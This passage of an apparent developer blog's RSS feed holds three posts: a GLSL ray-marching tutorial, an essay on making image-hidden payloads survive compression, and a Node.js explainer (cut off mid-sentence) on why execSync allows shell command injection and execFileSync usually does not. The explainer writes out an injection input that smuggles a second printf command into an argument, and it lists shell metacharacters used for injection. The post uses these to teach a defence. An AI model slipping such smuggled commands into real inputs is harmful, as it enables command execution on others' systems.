</content:encoded></item><item><title>Ray Marching in GLSL, One Distance at a Time</title><link>https://didof.dev/blog/ray-marching-glsl/</link><guid isPermaLink="true">https://didof.dev/blog/ray-marching-glsl/</guid><description>Three interactive GLSL labs reveal how signed distances steer a ray, assemble a scene, recover surface normals, and fail when the distance bound lies.</description><pubDate>Tue, 11 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { RayMarchingLab } from &quot;@/components/blog/ray-marching-lab/RayMarchingLab&quot;;&lt;/p&gt;
&lt;p&gt;A single triangle is about to render a sphere and a box.&lt;/p&gt;
&lt;p&gt;The triangle contains neither object. It only covers the screen so the Graphics Processing Unit (GPU) runs a fragment shader once per pixel. Each invocation asks where its viewing ray first reaches a surface that exists as a formula, not as a mesh.&lt;/p&gt;
&lt;p&gt;That sounds like we traded geometry for a harder problem. A ray contains infinitely many points. Testing all of them is impossible, and moving by a fixed amount either wastes work or jumps through thin objects.&lt;/p&gt;
&lt;p&gt;The escape hatch is one number: the distance from the current point to the nearest surface.&lt;/p&gt;
&lt;h2&gt;The triangle is only a place to run the shader&lt;/h2&gt;
&lt;p&gt;The host program sends three clip-space vertices. They form an oversized triangle that covers the viewport. The vertex shader does no projection and receives no model.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;attribute vec2 a_position;

void main() {
  gl_Position = vec4(a_position, 0.0, 1.0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For each covered pixel, the fragment shader converts &lt;code&gt;gl_FragCoord&lt;/code&gt; into screen coordinates. It then builds a ray from a camera position &lt;code&gt;ro&lt;/code&gt; through that pixel in direction &lt;code&gt;rd&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vec2 uv = (2.0 * gl_FragCoord.xy - u_resolution.xy)
        / min(u_resolution.x, u_resolution.y);

vec3 ro = vec3(0.0, 0.0, 4.0);
vec3 rd = normalize(vec3(uv, -1.8));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The Graphics Library Shading Language (GLSL) program now owns the scene test. The &lt;a href=&quot;https://registry.khronos.org/webgl/specs/latest/1.0/&quot;&gt;Web Graphics Library (WebGL) pipeline&lt;/a&gt; only rasterized the carrier triangle. This inversion is why an implicit scene can render without vertex buffers for every object.&lt;/p&gt;
&lt;p&gt;It also explains the cost. A conventional mesh renderer asks the rasterizer which triangles cover a pixel. This shader launches a search from every pixel instead. The search must earn every step it takes.&lt;/p&gt;
&lt;h2&gt;A distance becomes a safe step&lt;/h2&gt;
&lt;p&gt;A sphere centered at the origin has a compact signed distance function (SDF). The function is negative inside, zero on the surface, and positive outside.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;float sdSphere(vec3 point, float radius) {
  return length(point) - radius;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Suppose the function returns &lt;code&gt;0.8&lt;/code&gt;. No surface can be closer than 0.8 units if the value is a valid distance bound. The ray may advance by that amount without crossing the nearest surface. At the new point, it asks again.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;float travelled = 0.0;

for (int i = 0; i &amp;lt; 96; i++) {
  vec3 point = ro + rd * travelled;
  float distanceToScene = sceneDistance(point);

  if (abs(distanceToScene) &amp;lt; 0.001) break;
  travelled += distanceToScene;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://doi.org/10.1007/s003710050084&quot;&gt;John Hart&apos;s 1996 paper&lt;/a&gt; calls this method &lt;strong&gt;sphere tracing&lt;/strong&gt;. Each distance defines an empty sphere around the sample point. The ray can cross that sphere safely, so one evaluation replaces many fixed micro-steps. “Ray marching” is the broader family name; sphere tracing is the distance-guided marcher used here.&lt;/p&gt;
&lt;p&gt;Press &lt;strong&gt;Next sample&lt;/strong&gt; in the lab. The active red circle is not a search radius chosen in advance. Its radius is the current &lt;code&gt;d(p)&lt;/code&gt;, and the readout uses that same value as the next move. Change the ray angle and the entire sequence changes, but the equality does not.&lt;/p&gt;
&lt;p&gt;&amp;lt;RayMarchingLab client:visible lesson=&quot;distance&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;The useful invariant is not “take large steps.” It is “never take a step larger than the lower bound you can justify.” A perfect Euclidean SDF gives the tightest obvious bound. A conservative distance estimator can also work, but it may need more steps.&lt;/p&gt;
&lt;h2&gt;The ray marching loop does not know what an object is&lt;/h2&gt;
&lt;p&gt;The loop above only calls &lt;code&gt;sceneDistance(point)&lt;/code&gt;. It does not know whether the returned number came from a sphere, a box, or a room assembled from dozens of formulas.&lt;/p&gt;
&lt;p&gt;Here is an exact distance function for an axis-aligned box with half-size &lt;code&gt;b&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;float sdBox(vec3 point, vec3 b) {
  vec3 q = abs(point) - b;
  return length(max(q, 0.0))
       + min(max(q.x, max(q.y, q.z)), 0.0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The box and sphere become one scene by returning the smaller distance. Whichever surface is nearer wins.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;float sceneDistance(vec3 point) {
  float sphere = sdSphere(point - vec3(-0.55, 0.0, 0.0), 0.9);
  float box = sdBox(point - vec3(0.65, 0.0, 0.0), vec3(0.68));
  return min(sphere, box);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This &lt;code&gt;min&lt;/code&gt; is a union. &lt;code&gt;max(a, -b)&lt;/code&gt; subtracts shape &lt;code&gt;b&lt;/code&gt; from shape &lt;code&gt;a&lt;/code&gt;. A smooth minimum replaces the sharp handoff with a controlled blend. These operations change the field before the marcher sees it; the loop itself stays untouched.&lt;/p&gt;
&lt;p&gt;The next lab opens on a two-dimensional field slice. The red contour is where the returned distance is zero; the surrounding bands are equal-distance intervals. Switch among &lt;strong&gt;Union&lt;/strong&gt;, &lt;strong&gt;Smooth&lt;/strong&gt;, and &lt;strong&gt;Subtract&lt;/strong&gt;, then reveal the three-dimensional surface produced by the same scalar field.&lt;/p&gt;
&lt;p&gt;&amp;lt;RayMarchingLab client:visible lesson=&quot;scene&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;Select &lt;strong&gt;Normals&lt;/strong&gt; after changing the operation. The colors are not decorative. Red, green, and blue encode the normal&apos;s x, y, and z components. A hard union creates a discontinuous winner at an intersection. A smooth union changes the field around that seam, so the estimated normal turns gradually.&lt;/p&gt;
&lt;p&gt;This composability is the attraction. Moving a mesh means changing vertices or a transform matrix. Moving an SDF primitive means changing the point before evaluating the formula. Repetition, twisting, and subtraction can all happen in coordinate space without generating new triangles.&lt;/p&gt;
&lt;p&gt;The same freedom creates a boundary. Not every convenient function remains an exact distance after a deformation or blend. If it overestimates the safe distance, the marcher can cross a surface. If it underestimates, the image stays correct but costs more evaluations.&lt;/p&gt;
&lt;h2&gt;A hit point still has no color&lt;/h2&gt;
&lt;p&gt;The loop returns a position near the surface. It does not return a normal, material, light, or shadow.&lt;/p&gt;
&lt;p&gt;An SDF supplies a normal through its gradient: the direction in which distance increases fastest. The shader estimates that gradient by sampling the scene a small amount on both sides of the hit point.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vec3 estimateNormal(vec3 p) {
  vec2 e = vec2(0.001, 0.0);

  return normalize(vec3(
    sceneDistance(p + e.xyy) - sceneDistance(p - e.xyy),
    sceneDistance(p + e.yxy) - sceneDistance(p - e.yxy),
    sceneDistance(p + e.yyx) - sceneDistance(p - e.yyx)
  ));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That is six more scene evaluations after the primary ray hits. A cheaper tetrahedral estimate can reduce the count, but the causal relationship is the same: local changes in distance reveal surface orientation.&lt;/p&gt;
&lt;p&gt;Lighting then becomes ordinary vector math.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vec3 lightDirection = normalize(vec3(-0.7, 1.0, 0.65));
float diffuse = max(dot(normal, lightDirection), 0.0);
vec3 color = baseColor * (0.2 + 0.8 * diffuse);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A shadow launches another distance-guided ray from the hit point toward the light. Ambient occlusion samples the field around the normal. Reflections launch another ray. The scene formula remains reusable, but every effect multiplies the number of times it runs. A conventional shadow map pays a different cost, which becomes visible when &lt;a href=&quot;/blog/threejs-static-shadow-baking&quot;&gt;static Three.js shadows stop updating&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This is the same workload question that appears in &lt;a href=&quot;/blog/optimize-threejs-4-key-techniques&quot;&gt;practical Three.js shader optimization&lt;/a&gt;: pixel count and repeated shader work matter together. A beautiful ten-step field at half resolution can be cheaper than a plain hundred-step field at full resolution.&lt;/p&gt;
&lt;h2&gt;Three controls decide whether the surface exists&lt;/h2&gt;
&lt;p&gt;The shader cannot loop forever or compare floating-point values with mathematical zero. It needs a hit tolerance, a maximum step count, and a maximum travel distance.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (abs(distanceToScene) &amp;lt; HIT_EPSILON) return travelled;
if (travelled &amp;gt; MAX_DISTANCE) return MISS;
if (step == MAX_STEPS - 1) return MISS;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;These constants look like quality knobs. They are also part of the rendering contract.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;HIT_EPSILON&lt;/code&gt; defines how close counts as contact. Make it too large and surfaces swell, corners soften, and shadows detach. Make it too small and rays spend evaluations approaching a surface they can never represent exactly.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;MAX_STEPS&lt;/code&gt; caps work. A low limit does not produce a lower-resolution truth. It converts late hits into misses, often carving holes into silhouettes or distant geometry.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;STEP_SCALE&lt;/code&gt; is different. Values below one are conservative and slower. A value above one is not an optimization of sphere tracing; it breaks the guarantee that made the step safe.&lt;/p&gt;
&lt;p&gt;&amp;lt;RayMarchingLab client:visible lesson=&quot;failure&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;The final lab keeps a safe reference on the left. The right side starts with only six samples, enough to reveal a hole that a single full-frame render would make difficult to diagnose. Choose &lt;strong&gt;Loose epsilon&lt;/strong&gt; or &lt;strong&gt;Unsafe scale&lt;/strong&gt; and the visible error changes while the reference stays fixed.&lt;/p&gt;
&lt;p&gt;Use the &lt;strong&gt;Marching work&lt;/strong&gt; view to see which pixels consume most of their available budget. A low budget and an unsafe scale can both remove geometry, but one stops before convergence while the other steps beyond the certified empty region. The comparison turns a visual symptom into a causal diagnosis.&lt;/p&gt;
&lt;p&gt;The component renders only when its controls, camera, or size change. It also stops drawing while off-screen using the same &lt;a href=&quot;/blog/intersection-observer&quot;&gt;Intersection Observer mechanism&lt;/a&gt; that protects other interactive pages from invisible work. Three laboratories should not become three permanent render loops.&lt;/p&gt;
&lt;h2&gt;The complete ray marching renderer is small because its assumptions are large&lt;/h2&gt;
&lt;p&gt;Stripped of camera controls, scene operations, normals, and shadows, the fragment shader fits in one screen.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;precision highp float;

uniform vec2 u_resolution;

float sdSphere(vec3 p, float radius) {
  return length(p) - radius;
}

float sceneDistance(vec3 p) {
  return sdSphere(p, 1.0);
}

void main() {
  vec2 uv = (2.0 * gl_FragCoord.xy - u_resolution.xy)
          / min(u_resolution.x, u_resolution.y);
  vec3 ro = vec3(0.0, 0.0, 4.0);
  vec3 rd = normalize(vec3(uv, -1.8));
  float travelled = 0.0;
  bool hit = false;

  for (int i = 0; i &amp;lt; 96; i++) {
    vec3 p = ro + rd * travelled;
    float distanceToScene = sceneDistance(p);

    if (abs(distanceToScene) &amp;lt; 0.001) {
      hit = true;
      break;
    }

    travelled += distanceToScene;
    if (travelled &amp;gt; 20.0) break;
  }

  gl_FragColor = hit
    ? vec4(0.85, 0.18, 0.13, 1.0)
    : vec4(0.95, 0.94, 0.90, 1.0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;a href=&quot;https://registry.khronos.org/OpenGL/specs/es/2.0/GLSL_ES_Specification_1.00.pdf&quot;&gt;OpenGL Shading Language specification&lt;/a&gt; explains the language and execution model behind this shader. It does not make the distance function conservative, choose an epsilon, or guarantee convergence. Those belong to the renderer we built on top.&lt;/p&gt;
&lt;p&gt;Ray marching is unusually good when the scene is naturally implicit: mathematical surfaces, procedural repetition, volumetric density, or geometry that benefits from boolean composition. It is less forgiving when the scene starts as millions of unrelated triangles, requires stable texture coordinates everywhere, or cannot afford a variable loop per pixel.&lt;/p&gt;
&lt;p&gt;The opening triangle never contained the objects. It carried one question to every pixel: “How far is the nearest surface from here?” The image exists because the shader can trust each answer just long enough to ask again.&lt;/p&gt;
</content:encoded></item><item><title>Can hidden data survive image compression?</title><link>https://didof.dev/blog/can-steganography-survive-image-compression/</link><guid isPermaLink="true">https://didof.dev/blog/can-steganography-survive-image-compression/</guid><description>Why repeating fragile pixel bits is not enough, and how a robust hidden channel must match its signal, redundancy, and synchronization to the damage it will face.</description><pubDate>Mon, 10 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { ImageCompressionMicroscope } from &quot;@/components/blog/image-compression-microscope/ImageCompressionMicroscope&quot;;&lt;/p&gt;
&lt;p&gt;Our &lt;a href=&quot;/tools/website-inside-image/&quot;&gt;Website Inside an Image tool&lt;/a&gt; can hide a working page inside PNG pixels. Upload the same image to a platform that recompresses it, and the picture may come back looking unchanged while the website is dead.&lt;/p&gt;
&lt;p&gt;The tempting fix is repetition. Store every bit three times, let the decoder vote, and survive a few mistakes.&lt;/p&gt;
&lt;p&gt;That works only while the decoder can still find the three copies.&lt;/p&gt;
&lt;p&gt;A crop can move every coordinate. A resize can replace the pixel grid. JPEG can damage bits in clusters rather than as isolated accidents. Before adding redundancy, we need to understand what kind of channel the image will pass through.&lt;/p&gt;
&lt;p&gt;&amp;lt;ImageCompressionMicroscope client:visible initialFormat=&quot;jpeg&quot; compact /&amp;gt;&lt;/p&gt;
&lt;p&gt;The microscope shows the simplest failure. It writes known bits into exact red-green-blue (RGB) positions, sends the image through a real browser codec, and reads those positions again. The picture and the payload are judged by different standards: visual similarity for one, exact recovery for the other.&lt;/p&gt;
&lt;h2&gt;The current tool assumes the image is storage&lt;/h2&gt;
&lt;p&gt;The existing encoder writes its payload into those color samples in a fixed order:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pixel 0 red   → payload bit 0
pixel 0 green → payload bit 1
pixel 0 blue  → payload bit 2
pixel 1 red   → payload bit 3
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This works because the generated PNG preserves two things: the channel values and their positions. The decoder visits the same samples in the same order and recovers the same least-significant bits.&lt;/p&gt;
&lt;p&gt;Lossy compression breaks the values. Cropping and resizing break the positions. A Cyclic Redundancy Check (CRC) can tell us that the final payload is wrong, but it cannot repair the bytes or tell us where the message moved.&lt;/p&gt;
&lt;p&gt;The protocol is not poorly designed. It is well designed for an unchanged, lossless carrier. A hostile image pipeline is a different environment, so it needs a different representation.&lt;/p&gt;
&lt;h2&gt;Put the message in something the codec tries to preserve&lt;/h2&gt;
&lt;p&gt;JPEG does not store exact spatial pixels. It stores quantized frequency information and reconstructs the pixels later. The least significant bit of one channel is therefore a terrible place to demand stability: it sits exactly where small reconstruction errors are allowed.&lt;/p&gt;
&lt;p&gt;A more robust design can move the signal into relationships that are more likely to survive. For example, it can adjust the magnitude or ordering of selected Discrete Cosine Transform (DCT) coefficients, then decode the relationship after recompression instead of looking for one exact RGB bit.&lt;/p&gt;
&lt;p&gt;This changes the failure threshold. A stronger coefficient change is harder for JPEG to erase, but it can also become visible or statistically detectable. A weaker change hides better but disappears under heavier compression.&lt;/p&gt;
&lt;p&gt;The classic spread-spectrum watermarking work by Cox, Kilian, Leighton, and Shamoon placed a low-amplitude signal in perceptually significant spectral components for this reason. Their &lt;a href=&quot;https://doi.org/10.1109/83.650120&quot;&gt;1997 paper&lt;/a&gt; also exposes a limit that becomes important later: when geometry changes, the detector first needs to register the transformed image.&lt;/p&gt;
&lt;p&gt;Watermarking and steganography do not optimize for exactly the same goal. A watermark may only need to recover a small identifier. A hidden channel may need more capacity while also concealing that a message exists. The techniques overlap, but robustness always charges a price somewhere else.&lt;/p&gt;
&lt;h2&gt;Redundancy helps only after the errors have a shape&lt;/h2&gt;
&lt;p&gt;Once the signal lives in a representation that sometimes survives, redundancy can turn some remaining damage into a recoverable message.&lt;/p&gt;
&lt;p&gt;Repetition provides several observations of one symbol. Interleaving separates neighboring payload symbols so that one damaged image block does not destroy one complete codeword. An error-correcting code then uses the surviving structure to repair a bounded number of missing or changed symbols. Finally, a checksum or cryptographic authenticator tests the recovered message.&lt;/p&gt;
&lt;p&gt;These are different jobs. A CRC detects corruption but does not correct it. Error correction can rebuild damaged data but does not prove who created it. Interleaving spreads a burst but does not make the underlying signal stronger.&lt;/p&gt;
&lt;p&gt;The order follows the failure: first choose a signal the channel often preserves, then spread correlated damage, then correct what remains, then validate the result.&lt;/p&gt;
&lt;p&gt;Recent work on robust steganography combines embedding-region selection with adaptive error correction because redundancy consumes capacity and can make a pattern easier to detect. Duan and colleagues demonstrate one such balance in &lt;a href=&quot;https://arxiv.org/abs/2304.13297&quot;&gt;their 2023 work&lt;/a&gt;. The method is evidence for its evaluated JPEG conditions, not a recipe that automatically survives every platform.&lt;/p&gt;
&lt;h2&gt;A crop creates a location problem, not a bit-error problem&lt;/h2&gt;
&lt;p&gt;Now repeat each payload bit eight times and crop ten pixels from the left.&lt;/p&gt;
&lt;p&gt;The copies may still exist, but the decoder starts reading them at the wrong addresses. Group boundaries shift. What looks like heavy corruption to an error-correcting code may actually be a perfectly intact signal with a broken coordinate system.&lt;/p&gt;
&lt;p&gt;The decoder therefore needs synchronization before correction. It can search for repeated pilot patterns, align against stable image features, tile the payload across regions, or estimate scale, translation, rotation, and crop before reading the message.&lt;/p&gt;
&lt;p&gt;Each choice creates another trade. Frequent anchors are easier to find but consume capacity and may reveal the channel. Sparse anchors can disappear. Feature-based alignment depends on the image. A broad geometric search costs computation and raises the chance of a false match.&lt;/p&gt;
&lt;p&gt;Surviving JPEG does not imply surviving a crop. They are different failures and require different protections.&lt;/p&gt;
&lt;h2&gt;“Survives a platform” is an experiment, not a format claim&lt;/h2&gt;
&lt;p&gt;A platform does not merely choose JPEG. It may resize the upload, convert color, remove metadata, select an encoder and quality policy, generate several derivatives, or change that pipeline later.&lt;/p&gt;
&lt;p&gt;The only useful robustness claim names the actual path and test conditions. A defensible experiment needs several kinds of carrier images, payload sizes, and transformations. It should measure the raw bit error before correction, successful packet recovery after correction, visible distortion, false detections on clean images, statistical detectability, and the capacity left after synchronization and redundancy.&lt;/p&gt;
&lt;p&gt;One successful upload proves that one image survived one path once.&lt;/p&gt;
&lt;p&gt;Research systems can perform well under defined conditions. A 2023 AAAI paper, &lt;a href=&quot;https://doi.org/10.1609/aaai.v37i12.26746&quot;&gt;“Robust Image Steganography: Hiding Messages in Frequency Coefficients”&lt;/a&gt;, evaluates an invertible-neural-network system across JPEG quality factors. Its model, payload, training distribution, and test protocol are part of the result. We cannot transfer its headline performance to a browser tool without reproducing those conditions.&lt;/p&gt;
&lt;h2&gt;The image stops being a box and becomes a channel&lt;/h2&gt;
&lt;p&gt;The PNG version treats selected pixels as memory cells. That is why it can carry a relatively large payload and recover it byte for byte—and why a tiny numerical change can ruin everything.&lt;/p&gt;
&lt;p&gt;A robust version must treat the image as a noisy communication channel. The message becomes a signal distributed across features, located through synchronization, protected by redundancy, decoded within an error budget, and validated at the end.&lt;/p&gt;
&lt;p&gt;It can survive more damage because it gives up something in return: capacity, invisibility, image fidelity, compute, or often several of them.&lt;/p&gt;
&lt;p&gt;So robustness is not a stronger checksum added to the old trick. It is a new representation designed around the damage we expect the image to suffer.&lt;/p&gt;
</content:encoded></item><item><title>execSync vs execFileSync: the shell is the security boundary</title><link>https://didof.dev/blog/execsync-vs-execfilesync/</link><guid isPermaLink="true">https://didof.dev/blog/execsync-vs-execfilesync/</guid><description>Why execSync can turn untrusted text into shell syntax, why execFileSync usually cannot, and where command-injection risk still remains.</description><pubDate>Mon, 10 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A semicolon is not dangerous.&lt;/p&gt;
&lt;p&gt;It becomes dangerous when something decides that it means &lt;strong&gt;“the previous command ends here.”&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;That distinction explains most of the security difference between Node.js &lt;code&gt;execSync()&lt;/code&gt; and &lt;code&gt;execFileSync()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Imagine that a Node application needs to call an external program using some user-provided text.&lt;/p&gt;
&lt;p&gt;This looks reasonable:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { execSync } from &quot;node:child_process&quot;;

const query = getUserInput();

execSync(`grep ${query} ./notes.txt`);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The usual advice is: “be careful, this is vulnerable to command injection.”&lt;/p&gt;
&lt;p&gt;Correct. But that skips the interesting part.&lt;/p&gt;
&lt;p&gt;Why can a few characters inside &lt;code&gt;query&lt;/code&gt; suddenly become another command?&lt;/p&gt;
&lt;p&gt;Because &lt;code&gt;grep&lt;/code&gt; is not actually the first program that gets to interpret that string.&lt;/p&gt;
&lt;p&gt;The shell is.&lt;/p&gt;
&lt;h2&gt;What &lt;code&gt;execSync()&lt;/code&gt; actually executes&lt;/h2&gt;
&lt;p&gt;Consider:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;execSync(&apos;grep hello ./notes.txt&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It is tempting to imagine Node doing something equivalent to:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;executable = grep
arguments  = [&quot;hello&quot;, &quot;./notes.txt&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That is not what &lt;code&gt;execSync()&lt;/code&gt; does.&lt;/p&gt;
&lt;p&gt;Node documents &lt;code&gt;execSync()&lt;/code&gt; as executing a command through a shell.&lt;/p&gt;
&lt;p&gt;On Unix, the default shell is &lt;code&gt;/bin/sh&lt;/code&gt;. On Windows, Node uses &lt;code&gt;process.env.ComSpec&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So the path is closer to this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;JavaScript
    ↓
&quot;grep hello ./notes.txt&quot;
    ↓
/bin/sh
    ↓
parse shell syntax
    ↓
grep
    ↓
[&quot;hello&quot;, &quot;./notes.txt&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That extra parser is the important part.&lt;/p&gt;
&lt;p&gt;The shell receives a piece of source code in the shell language.&lt;/p&gt;
&lt;p&gt;It understands spaces, quoting, pipes, redirects, substitutions and control-flow operators.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo hello; echo world
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;is not one command containing a strange semicolon.&lt;/p&gt;
&lt;p&gt;To the shell, it is two commands:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo hello
echo world
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The semicolon only has that power because a shell parser sees it.&lt;/p&gt;
&lt;h2&gt;Turning data into syntax&lt;/h2&gt;
&lt;p&gt;Now imagine this input:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hello; printf &quot;INJECTED\n&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and this code:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const input = &apos;hello; printf &quot;INJECTED\\n&quot;&apos;;

execSync(`printf &quot;%s\\n&quot; ${input}`);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;JavaScript first creates this string:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;printf &quot;%s\n&quot; hello; printf &quot;INJECTED\n&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then Node gives that string to the shell.&lt;/p&gt;
&lt;p&gt;The shell parses it as two commands.&lt;/p&gt;
&lt;p&gt;Running this with Node.js 22.16.0 produces:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hello
INJECTED
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The crucial transition is therefore:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;untrusted data
      ↓
string interpolation
      ↓
shell source code
      ↓
shell parser
      ↓
attacker-controlled syntax
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nothing about &lt;code&gt;;&lt;/code&gt; itself is malicious.&lt;/p&gt;
&lt;p&gt;The problem is that data crossed a parser boundary and acquired grammatical meaning.&lt;/p&gt;
&lt;p&gt;The same applies to other shell constructs.&lt;/p&gt;
&lt;p&gt;Depending on the quoting context, characters such as these can matter:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;;
|
&amp;amp;&amp;amp;
||
&amp;gt;
&amp;lt;
$()
`...`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is also why saying &lt;code&gt;execSync()&lt;/code&gt; “invokes Bash” is slightly wrong.&lt;/p&gt;
&lt;p&gt;On Unix, Node&apos;s documented default is &lt;code&gt;/bin/sh&lt;/code&gt;, not Bash specifically.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/bin/sh&lt;/code&gt; might ultimately be provided by Bash on one system, Dash on another, or another compatible shell elsewhere.&lt;/p&gt;
&lt;p&gt;The vulnerability does not depend on Bash.&lt;/p&gt;
&lt;p&gt;It depends on &lt;strong&gt;shell interpretation&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;What changes with &lt;code&gt;execFileSync()&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Now write the same operation like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { execFileSync } from &quot;node:child_process&quot;;

const input = &apos;hello; printf &quot;INJECTED\\n&quot;&apos;;

execFileSync(&quot;printf&quot;, [&quot;%s\\n&quot;, input]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The structure is fundamentally different.&lt;/p&gt;
&lt;p&gt;Node already knows which value is the executable:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;printf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and which values are arguments:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[
  &quot;%s\n&quot;,
  &quot;hello; printf \&quot;INJECTED\\n\&quot;&quot;
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There is no need to reconstruct those boundaries from a string.&lt;/p&gt;
&lt;p&gt;By default, &lt;code&gt;execFileSync()&lt;/code&gt; does not spawn a shell.&lt;/p&gt;
&lt;p&gt;Conceptually:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;JavaScript
    ↓
executable = &quot;printf&quot;

arguments =
[
  &quot;%s\n&quot;,
  &quot;hello; printf \&quot;INJECTED\\n\&quot;&quot;
]
    ↓
process launch
    ↓
printf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There is no &lt;code&gt;/bin/sh&lt;/code&gt; in the middle.&lt;/p&gt;
&lt;p&gt;So what happens to our supposed payload?&lt;/p&gt;
&lt;p&gt;The output is:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hello; printf &quot;INJECTED\n&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Exactly one string.&lt;/p&gt;
&lt;p&gt;The semicolon survives, but it has lost its special power.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;printf&lt;/code&gt; receives it as ordinary data because nobody parsed it as shell syntax.&lt;/p&gt;
&lt;p&gt;That is the important distinction.&lt;/p&gt;
&lt;h2&gt;&lt;code&gt;execFileSync()&lt;/code&gt; is not escaping the input&lt;/h2&gt;
&lt;p&gt;This is easy to misunderstand.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;execFileSync()&lt;/code&gt; is not taking this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hello; printf &quot;INJECTED\n&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and cleverly escaping the dangerous characters.&lt;/p&gt;
&lt;p&gt;It does something better.&lt;/p&gt;
&lt;p&gt;It never turns the arguments into shell source code in the first place.&lt;/p&gt;
&lt;p&gt;Compare the two models.&lt;/p&gt;
&lt;p&gt;With &lt;code&gt;execSync()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;executable + arguments
        ↓
flatten into one string
        ↓
shell parses the string
        ↓
reconstruct executable + arguments
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With &lt;code&gt;execFileSync()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;executable
+
argument array
        ↓
process launch
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;execSync()&lt;/code&gt; flattens structure into text and later asks another parser to recreate that structure.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;execFileSync()&lt;/code&gt; preserves the structure.&lt;/p&gt;
&lt;p&gt;That difference is much more important than the names of the two functions.&lt;/p&gt;
&lt;h2&gt;The argument array is a security property&lt;/h2&gt;
&lt;p&gt;This:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;execFileSync(&quot;grep&quot;, [query, &quot;./notes.txt&quot;]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;can look like a nicer API for writing this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;execSync(`grep &quot;${query}&quot; ./notes.txt`);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But they are not two syntaxes for the same operation.&lt;/p&gt;
&lt;p&gt;The first API maintains a distinction between:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;program
argument 1
argument 2
&lt;/code&gt;&lt;/pre&gt;
